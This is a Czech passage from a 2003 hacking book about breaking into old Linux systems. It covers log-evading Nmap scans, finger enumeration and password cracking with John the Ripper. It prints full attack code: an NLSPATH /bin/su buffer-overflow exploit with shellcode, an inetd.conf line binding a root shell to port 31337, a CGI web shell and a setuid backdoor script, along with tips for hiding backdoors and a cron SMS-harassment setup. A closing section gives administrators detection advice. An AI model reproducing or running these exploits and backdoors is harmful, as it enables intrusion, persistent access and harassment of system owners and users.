rootův soubor .bash_history. Náhodou v něm najdete osobní údaje o jiných osobách. Právě jste spáchal těžký zločin. Nebo ne? Opravdu nevím. V minulosti administrátoři často používali různé skripty a psali na příkazový řádek Linuxu osobní údaje nových uživatelů. Hlavně jejich přihlašovací údaje do systému (jméno a heslo). No a vše zůstalo v historii příkazů. Nevím, proč distribuce Linuxu standardně umožňují tento soubor číst všem uživatelům. Přitom stačí tak málo - příkazem chmod změnit přístupová práva a je hotovo. Je sice pravda, že přenos tohoto souboru je zapsán v logu, ale ty asi nikdo nesleduje. Pojďme se na takto otevřený Linux podívat truchu podrobněji. Co hackera může zajímat? Pro tuto chvíli vyloučíme možnost, že se bude pídit po všemocných právech roota. Takové servery dost často pracují jako primární nameservery pro další "podřízené" domény. Všechny konfigurační soubory programu Named jsou čitelné všem (jak jinak). Píše se rok 1997, takže je řeč asi o RedHat 5.0. Přes FTP si může stáhnou soubor /etc/named.boot, který mu odpoví na otázku kde jsou uloženy konfigurační soubory nameserveru. Z těchto souborů se např. dozví všechny jména domén, pro které je tento server primární. Může jich být i několik desítek. Co tak může hacker s těmito informacemi dělat? První co ho napadne, je tyto servery nějak zmapovat. Jak? Přesně k tomuto účelu je určen skvělý program, který se jmenuje nečekaně - Nmap. Tento program není primárně určen pro hackery, ale těmto lumpům může přinést mnoho "cenných" informací. K dispozici je na adrese {www.insecure.org/nmap/}. Podíváme se na tento program trochu podrobněji. Hacker si samozřejmě stáhne zdrojové kódy a přeloží je. Výsledkem překladu je spustitelný soubor s názvem Nmap. Poslední verze tohoto programu umí mimo jiné zjistit operační systém vzdáleného serveru. Pojďme se na tuto zajímavou funkci podívat podrobně. Program Nmap používá externí databázi, která je uložena v souboru nmap-os-fingerprints. Tento soubor je potřeba zkopírovat do adresáře /usr/local/share/nmap/. Zde jej také program nmap standardně hledá. Sem je potřeba také uložit databázi portů, která se nachází v souboru nmap-services. Tato databáze není nutná, protože čísla portů pro skenování můžeme programu předat z příkazového řádku. Spustíte-li nmap bez parametrů, vypíše se stručná, ale velmi přehledná a dostačující nápověda, ve které je i příklad použití programu nmap. Skenování počítače má tu nevýhodu, že způsobuje intenzivní zápis do logů skenovaného počítače. Skenujete-li např. Linux podívejte se do souboru /var/log/secure. Zde může najít administrátor informace o skenování, včetně IP adresy skenujícího počítače. Přesto lze IP adresu maskovat. Musíte použít skenování pomocí paketů SYN. K tomu slouží tento příkaz: [root]lamer /]# nmap -sS -O 192.100.65.1 Toto skenování nezanechá v souboru secure IP adresu! To je dobré pro hackera, ale špatné pro admina. Typický výstup programu nmap může vypadat např. takto: Starting nmap V. 2.53 by {fyodor@insecure.org} ( {www.insecure.org/nmap/} ) Interesting ports on localhost (127.0.0.1): (The 1511 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 37/tcp open time 70/tcp open gopher 79/tcp open finger 109/tcp open pop-2 110/tcp open pop-3 111/tcp filtered sunrpc 113/tcp open auth 143/tcp open imap2 513/tcp open login 514/tcp open shell 31337/tcp open Backdoor TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!) Remote operating system guess: Linux 2.0.32-34 Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds Ve výpisu je vidět poměrně špatně zabezpečený Linux s kernelem 2.0.32, včetně služby Finger, pomocí které se šířil Morrisonův červ. Na posledním řádku čísel portů vidíme číslo portu 31337, které na systému funguje jako tzv. Backdoor (zadní vrátka), která také podrobně popíšu. Vraďme se zpátky k našemu poskytovateli Interntu, který nám dial-up nabízí přes FTP celý strom Linuxu. Zjistili jsme, že IP adresa jejich serveru je např. 192.100.65.1. Důležitá může být ta jednička na konci. Ostatní servery se liší právě jenom na posledním místě. Je to proto, že všechny pracují jakoby na jednom "segmentu ethernetu". Máte-li doma malou počítačovou síť, tak určitě víte, že chcete-li oživit TCP/IP spojení, musíte zvolit takové adresy, které se liší pouze na posledním místě. Přesně toto, je ideální stav pro použití programu Nmap. Napíšete-li na příkazový řádek Linuxu: [root]lamer /]# nmap -sS -O 192.100.65.1/24 > /etc/nmap Začne nmap skenovat všechny adresy v rozmezí 192.100.65.1-256. Tam také pracují všechny servery, které jsou podřízené našemu nameserveru na Linuxu. Jste-li připojen modemem, můžete jít na kafe. Já bych si dal pivo. Za pěkně dlouho naleznete výsledek v souboru /etc/nmap. Již několikrát jsem slíbil, že vysvětlím slovo backdoor. Ale pěkně popořádku. Pro instalaci backdooru na Unixu, musí mít hacker UID nula (root). O možnosti jak se k tomuto oprávnění dostat, bylo napsáno mnoho. Klasika je použití vhodného remote exploitu. Exploitů je na Internetu obrovské množství a každý pracuje jinak. Většinou tyto remote exploity potřebují pro svoje uplatnění právo zápisu na vzdáleném stroji a to může být pro hackera problém. I když to nemusí být pravda vždy. Typickým příkladem takového remote exploitu je problém s FTP démonem. Některé verze mají chybu typu buffer owerflow. Remote exploit na tuto chybu funguje tak, že speciální program neustále vytváří na disku vzdáleného stroje vnořené adresáře. FTP server se s tím neumí vyrovnat a začne se chovat nevypočitatelně. Prostě ho přinutíme, aby nám spustil příkaz, který mu podstrčíme. Proces, který takto spustí běží s právy roota. My budeme pro zjednodušení předpokládat, že nmap našel server, který má povoleny všechny služby včetně telnetu. Budeme postupovat jako Markus Hess na Unixech NATO a uhádneme heslo nějakého uživatele. I když se to zdá nepravděpodobné, opak je pravdou. Devadesát procent všech průniků se uskuteční touto triviální metodou. Někdy si uživatel zvolí stejné heslo, jako je jeho login name. Je-li ještě povolena služba Finger, může hacker snadno zjistit všechny uživatele systému. Jak? Na příkazový řádek napíše: [root]lamer /]# finger {Linux@192.100.65.90} Mají-li uživatelé napsáno v přislušném řádku v /etc/passwd RHS Linux user, má hacker napůl vyhráno - zná téměř všechny uživatele systému. Pronikne-li hacker do systému na nějaký cizí ůčet, je možnost uplatnění nějakého local root exploitu mnohem pravděpodobnější. Především proto, že na lokalním systému je mnohem více objektů, které mohou mít nějakou chybu. Jak získat roota? Budu popisovat postup, kterým může hacker získat neoprávněně pravomoci na starší distrbuci Linuxu RedHat 3.1. První, co hackera po proniknutí do Linuxu přes telnet, nebo ssh napadne je pohled do passwd. Zde může objevit backdoor, v podobě přidaného uživatele, kterému administrátor nastavil ručně UID nula. Tento uživatel, může mít dokonce i prázdou sekci pro zakódované heslo. Takový backdoor si často vytváří admin, aby se mohl rychle přihlásit do systému jako root, např. přes ssh. Přesto hackeři raději zkoušejí nějaké exploity. Ještě je možné zkusit sudo, ale to většinou nefunguje. Hacker se proto soustřeďuje na nejslabší část Unixu (Linuxu) a to jsou setuid soubory. Těch je v distribucích Linuxu velké množství. Typickém příkladem takového souboru je např. program /bin/su. To, že má nastaven setuid bit, poznáme při použití příkazu ls takto: ls -lau /bin/su -rwsr-xr-x 1 0 0 11896 Jul 25 21:25 /bin/su Na místě příznaku x, vídíme příznak s. To znamená, že spustí-li tento program nějaký uživatel systému, tak proces který se spustí běží s právy vlastníka souboru. V tomto případě roota. To je ovšem velmi nebezpečná vlastnost, která může být zkušeným hackerem zneužita. Program může mít nějakou chybu typu buffer owerflow, která se dá exploitem využít. Že to jde, ukážu na klasickém příkladu, včetně zdrojového kódu exploitu. /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * Copyright (c) 1997 by Solar Designer */ #include #include #include char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } Vydíme, že tento program dokáže oklamat program /bin/su, který po vás nepožaduje heslo roota. Na nových distribucích Linuxu samozřejmě nefunguje - exploit se spustí, ale musíte zadat heslo. Jeho ovládání je trivialní. Program se po přeložení spustí a je z vás root. Jde to jednoduše proto, protože program /bin/su má nastaven setuid bit. Dalším dost často používáným trikem na Linuxu, kterým se lze dostat k superuživatelským pravomocem, je úprava proměné PATH. Tímto způsobem můžeme jiný program, který si následně spustíme, přinutit, aby spustil námi podstrčený program. Má-li první spuštěný program nastaven setuid bit od roota, spustí se i námi podstrčený soubor s jeho pravomocemi. Teď se konečně dostáváme k vysvětlení výrazu Backdoor. Jestliže hacker získá na vašem Unixu roota, bude se sem pravděpodobně chtít ještě někdy vrátit. Právě k tomu slouží tyto tajná zadní vrátka. Nejjednodušší backdoor na Unixu je přesměrování shellu, např /bin/bash na jeden z mnoha tisíc portů. To lze provést editací souboru /etc/inetd.conf a následným restartem démona inetd, příkazem killall -HUP inetd. Stačí tedy přidat do souboru inetd.conf tento řádek: hacker stream tcp nowait root /usr/sbin/tcpd /bin/sh -i Nutné je poznamenat, že v souboru /etc/services, musíte definovat číslo portu pro jméno hacker. Např. hacker 31337/TCP. Pak stačí, aby nějaký hacker použil telnet a připojil se na port 31337. Spustí se mu rootshell a jestli jste ho naštval, klidně vám smaže disk příkazem rm -rf /. Tak to raději ne. I když některé servery na Internetu jsou tak katastrofálně zabezpečeny, že by si použití tohoto příkazu zasloužily. On klidně takový server může ohrožovat bezpečnost celé České republiky. Server může objevit nějaký tajný agent cizí kontrarozvědky, který má toto v náplni své práce. No to jsem trochu odbočil že? Administrátor může snadno objevit tento backdoor příkazem netstat. Velice efektní je backdoor, který umožňuje přístup do Linuxu přes www rozhraní. Takový backdoor lze vytvořit pomocí vhodně napsaného cgi skriptu. Prostě skript napíše a uloží do souboru např. backdoor.cgi a zkopíruje do adresáře, kde je povoleno spouštění cgi skriptů. Pak lumpovi v podobě hackera, stačí napsat ve svém prohlížeči úplnou cestu v tomuto souboru. V prohlížeči se mu objeví okno, do kterého může zapisovat příkazy vzdálenému operačnímu systému a tlačítkem je posílat k provedení. Takto hacker může z prostředí prohlížečů ovládat a "spravovat" svoje hacknuté servery. Rozhodně bych doporučoval administrátorovy tyto soubory občas kontrolovat. Hacker může takto měnit nastavení svých redirektorů nebo provádět jiné nekalé operace. Klidně vám mohu jeden takový backdoor ukázat. Je napsán ve skriptu shellu: #!/bin/sh echo 'Content-Type: text/html' echo echo '' echo '' echo '' if [ -z $1 ]; then echo '' echo '

' echo '' fi echo '' echo '' if [ -z $1 ]; then echo '

' else echo "

$*

" echo '
' 
$*
echo '
' fi echo '' echo '' Po odeslání příkazu, můžete dostanete odpověď, která se zobrazí v okně prohlížeče. Klasickým příkladem backdooru je také jednoduchý program, který jsem uváděl jako příklad v souvislosti s Markusem Hessem, v části o historii hackingu. Zde je podobný příklad, tentokrát ve skriptu shellu: #/bin/sh SETUID="hacker" MARKUSHESS="/bin/sh" if "$SETUID" = "$1"; then /bin/sh fi Samozřejmostí je nastavení setuid bitu od roota. Podobné programy je nutné na systému dobře ukrýt. Dobře se takovýto backdoor schová do adresáře /lib, nebo /usr/lib. Název se zvolí podobný jako mají ostatní knihovny v těchto adresářích. Takové soubury se velmi těžko hledají. Málo který administrátor do těchto adresářů "chodí". Natož v nich něco mazat. Jediný poznávací znak je nastavení setuid bitu a poměrně malá velikost těchto souborů. Rozhodně by administrátor měl tyto soubory příkazem find občas vyhledávat a kontrolovat jejich obsah. Ale kdo by se vrtal v systémových knihovnách že? Backdoorů může být obrovské množství a zmapovat je všechny v této kniza není možné. Za pozornost rozhodně ještě stojí úprava zdrojových kódů některých programů na Unixu (Linuxu). Jedná se o velmi rafinované backdoory, které se nezkušenému administrátorovi velmi těžko hledají. Takto lze na Linuxu upravit téměř všechny programy, u kterých je k dispozici zdrojový kód. Zde uvedu některé klasické příklady. Je to především úprava programu /bin/login. Tento program hlídá přistup k Linuxu. Kdo neprojde jeho lustrací je nemilosrdně odmrštěn. Linux je standardně nastaven tak, že se nelze pomocí aplikace telnet přihlásit na systém remote, jako uživatel root. Upravou zdrojového textu programu Login to možné je. Dále je možné upravit programy ping, traceroute a jiné, které mají opět nastaven náš známý setuid bit. Takto upravené programy pracují naprosto normálně, ale po zádání tajného parametru, vám program "hodí" rootshell. Chcete-li získat rootshell remote, lze upravovat zdrojové texty síťových démonů. Klasickým příkladem je program inetd. Identifikovat tyto programy lze, protože se po jejich úpravě změní velikost přeložené binární verze. Někdy dost výrazně. Tuto kontrolu by administrátor systému měl rozhodně provádět. Kniha o hackingu by nebyla úplná, kdybych se nezmínil o luštění hesel. To koneckonců prováděl už Markus Hess na konci osmdesátých let. Na soubory passwd v Unixu nebo Linuxu je klasikou program John the Ripper. Opět se na tento program podíváme podrobněji. Program je distribuován pro téměř všechny operační systémy, včetně téměř mrtvého systému OS/2 od IBM. Verze pro Windows 95 nepracuje kupodivu v grafickém režimu, ale v klasickém znakovám. K dispozici je i verze pro starý 16 bitový DOS. Program luští zakódovaná hesla tak, že postupně šifruje všechny slova ze slovníku a porovnáva šifrovaný text s textem v souboru passwd. Najde-li shodu, vypíše rozluštěný text včetně uživatelova jména. Program lze používat i bez používání slovníku. Spustíte-li program s parametrem single, luští program hesla bez použití slovníku. Má-li uživatel heslo shodné s jeho jménem, program to najde. Podobně najde i nekvalitní heslo v případě, že si uživatel přidá ke svému login name někol znaků. Zvolí-li si např. uživatel Jirka heslo Jirka123, program John the Ripper to rozluští. Práci programu si ukážeme na příkladu: John the Ripper Version 1.4 Copyright (c) 1996,97 by Solar Designer Loaded 127 passwords with 125 different salts (DES) 12root (root) jirka33 (jirka) v: 8 c: 990683 t: 0:00:02:45 99% c/s: 6004 w: *****DONE***** Ve výpisu vidíme, že hacker měl štěsí (admin smůlu), protože se mu podařilo rozluštit heslo roota. Ten si zvolil jednoduché heslo, které program spuštěný v režimu single rozluštil. Ještě rozluštil heslo jednoho uživatele, který si zvolil podobně nekvalitní heslo. Co z toho vyplývá? Používat kvalitní hesla. Rozhodně nepoužívat slova, která jsou obsažena ve slovníku a to nejen v českém. Velmi dobré je používat za sebou jdoucí nesmyslný řetězec znaků, kombinovaný čísly. Hacker může také zachytávat hesla takříkajíc on-line. K tomu slouží speciální programy, které se nazývají sniffery. Tyto programy naslouchají na síťovém rozhraní a zachytávají pakety. Samozřejmě včetně hesel (nepoužíváte-li např. ssh, které hesla šifruje). Takovýto program, muže ukládat zachycené pakety do souboru, který může být v pravedelný intervalech odesílán na hackerů email. Nebo si ho hacker odešle sám pomocí backdooru z prostředí www prohlížeče. Možností je mnoho. Musíme si uvědomit, že podobný hacking je velmi nebezpečný. Hacker si může na Unixech vytvářet zázemí a útočit na další systémy. Velmi zkušený hacker, může takto ovládat značné množství počítačů a nikdo si toho nevšimne. Tzv. hackeři, kteří změní www stránku jsou většinou amatéři, kteří z toho časem vyrostou. Profesionální hacker takové věci nikdy nedělá. Zbytečně by na sebe upozorňoval a chybu může udělat i on. Proto také zde nepíši o Windows. Profesionálně hackovat ve Windows prostě nejde. I když na Internetu jsou "hackerské" nástroje pro tento systém. V minulosti byl velmi populární nastroj s názvem Winnuke. Byl napsán mimo jiné i pro Windows 95. Jeho ovládání bylo velmi jednoduché a asi proto byl mezi uživateli Windows tak populární. Po jeho spuštění jste do příslušného okna napsali adresu serveru, pracujícího s OS Windows NT. Následně jste stiskli tlačítko (už nevím jak se jmenovalo). Toť vše. Klasický program pro uživateli Windows. Jedno je jisté - takoví "hackeři" rozhodně nebezpeční nejsou. Hackerských nástrojů a různých exploitů je obrovské množství. Popsat všechny prostě nejde. Snad ještě na závěr této části lze ukázat jednu lahůdku. S rozvojem mobilní komunikace GSM, která se propojuje s Internetem, může hrozit jedno nebezpečí. Musíme si uvědomut, že hacker, který má přístup do Unixu na úrovni roota, je nebezpečný i pro uživatele mobilních telefonů. Určitě jsou vám nepříjemné často zasílané reklamní SMS zprávy. Jestliže nějakého hackera naštvete, může vám na váš mobil, zasílat z nějakého hacknutého Linuxu SMS zpávu každých 30 minut (a to je dost milosrdný). Myslím, že by vás za několik dní odvezli do blázince. Dokonce existuje v Linuxu program, který je přesně k tomuto účelu určen. Jmenuje se Crontab. Ukážu vám příklad nastavení programu crontab, které umožní zasílat uživateli mobilního telefonu smysluplnou SMS zprávu "Nevaž se odvaž se" každých 30 minut. Nejdříve si vytvoříte soubor, do kterého napíšete text "Nevaz se odvaz se". Zkopírujte ho např. do /tmp. Pak si vytvořte ještě jeden soubor, kam napište toto: 0,30 * * * * +{420603xxxxxx@sms.paegas.cz} < /tmp/soubor Tento soubor, který se bude jmenovat např. gsm, zkopírujte třeba do /home/hacker/. Pak stačí na příkazový řádek napsat toto: [root]lamer /]# crontab -u hacker /home/hacker/gsm Má-li hacker hacknutou mašinu někde v Indii, tak je to problém že? Tento příklad, ukazuje také problém globalizace že? Myslím, že je načase ukázat si jak proti hackerů na Unixech bojovat. Tak vzhůru na to! Administrátor versus Hacker Poslední příklad jasně ukázal, že s hackery je nutné tvrdě bojovat. K tomu jak tento boj vést, jsou určeny nasledující řádky. Nechci zde uvádět notoricky známé fráze o bezpečnosti- těch je všude dost. Pokusím se tuto problematiku ukázat na konkrétních příkladech. Někdy ovšem úplně stačí minimální snaha. Velmi často se stává, že když hacker zjistí nějakou změnu na systému, kterou si vyhodnotí jako možnost "jsem sledován", systém opustí a máte pokoj. Např. stačí napsat nějakou podezřelou IP adresu do /etc/hosts.deny, nebo občas změnit nějaké heslo a podobně. Jestliže to nestačí musíte zahájit boj. Na Linuxu je dobré občas sledovat běžící procesy. To můžete udělat příkazem ps -aux. Není-li hacknutý i program ps, můžete mu věřit. Nejlepší je ovšem použít vlastní, který máte někde na disketě. Dostanete např. tento výpis: PID TTY STAT TIME COMMAND 248 1 S 0:00 -bash 250 3 S 0:00 /sbin/getty tty3 VC linux 251 4 S 0:00 /sbin/getty tty4 VC linux 252 5 S 0:00 /sbin/getty tty5 VC linux 253 6 S 0:00 /sbin/getty tty6 VC linux 249 2 S 0:00 -bash 300 2 S 0:00 redir 192.100.45.1 31337 80 339 2 R 0:00 ps -a První sloupec zobrazuje čísla, která každému procesu přiřazuje systém. Pod číslem 300 vidíme proces, který je velmi podezřelý. Ano, někaký hacker si z vašeho Linuxu udělal přestupní stanici. Vidíme, že zde běží redirektor na portu 31337, který přesměruje všechny pakety na port 80 serveru 192.100.45.1. První co by vás mělo napadnout je, co tento proces spustilo a kde na disku soubor redir sídlí. Tam možná bude hackerovo sídlo na vašem systému. Jak to udělat? Přejděte do adresáře /proc/300/cwd/ a spustíte znovu bash. Nebo si spustíte souborový manažer git nebo mc. Možná se ocitnete v hackerově doupěti. Důkazem mohou být některé velmi podezřelé názvy souborů. Další důležitou činností při sledování systému je vyhledávání setuid souborů. O těch jsem již psal v souvislosti s backdoory. Problém může být v tom, že hackeři tyto soubory dost důmyslně ukrývají. Takový backdoor se může ukrývat mezi mnoha knihovnami v adresářích /lib nebo /usr/lib/ a může mít i podobný název. Takové "knihovny" mají většinou podezřele malou velikost a nastaven setuid bit. Naleznete-li takový soubor, můžete ho otevřít editorem Vi a prohlédnout jeho obsah. Také adresář /dev je častým "odkládacím prostorem". Např. hacktutý program telnet sem ukládá hesla uživatelů. Snad ani nemusím připomínat časté používání příkazů last nebo lastlog (fungují-li). U používání příkazu last, může nastat určitý problém. Protože logování do tohoto souboru má ve své režii každý program sám, může ho hacker změnit a tím změnit i logování, nebo ho úplně zrušit. Dokonce hacker, má-li na systému UID nula, může přepsat přímo příslušnou binárku. Jednoduše vyhledá textový řetězec /var/log/wtmp a nahradí ho jiným. To má pro hackera několik výhod. Dost často se stává, že na systému není sám. Takto může odhalit IP adresy jiných "hackerů". Nakonec podobnou úpravu může udělat administrátor, aby zachytil IP adresu méně zkušeného hackera. Pak je použití tohoto příkazu last -f soubor. Samozřejmostí je, že pro tyto operace musí mít hacker UID nula. Také je dobré kontrolovat soubory .rhosts v domacích adresářích uživatelů. Ty ve spolupráci se souborem /etc/hosts.equiv umožňují přístup na systém bez zadávání hesla. Ovšem toto je známá věc, kterou nemá cenu podrobně rozebírat. Problém může způsobit i špatně zabezpečený FTP server. Platí pravidlo, že není-li to nutné, nedovolit anonymním uživatelům právo zápisu do nějakého adresáře. V opačném případě se zvyšuje možnost uplatnění nějakého remote exploitu. Dobré je také sledovat nějaké konference o bezpečnosti např. Bugtraq, kde se podobné problémy diskutují. V doméně cz je dobrý server underground.cz, který se touto problematikou zabývá. Bohužel někdy se tento server stará o úplně jiné věci. Dále je dobré sledovat bezpečnostní problémy ostatních síťových programů, které "naslouchají" na některém portu. Je-li nějaká chyba objevena, okamžitě aplikovat záplatu. Rozhodně věc nepodceňovat - skenery hackerů jsou neomylné. Závěr Co říci závěrem? Propojování digitálních sítí, určitě přinese užitečné věci. Ale nelze podceňovat i určité problémy, které touto globalizací vzniknou. Dnes může průměrně vzdělaný uživatel počítače, získat obrovské množství různých hackerských nástrojů. Špičkoví bezpečnostní odborníci zveřejňují v konferencích nebezpečné exploity a klidně se může najít člověk, který podobné nástroje sbírá jako hmyz nebo známky. Časem může takový lamer získat velkou palebnou sílu. Lze jen doufat, že mu jeho "střelný prach" rychle zvlhne. KONEC Celý příběh je vymyšlen, jakákoli podobnost je čistě náhodná. (c) Jan Janda 2003 Document converted from ms word 8 by MSWordView(mswordview 0.5.14 (bw6)) MSWordView written by Caolan McNamara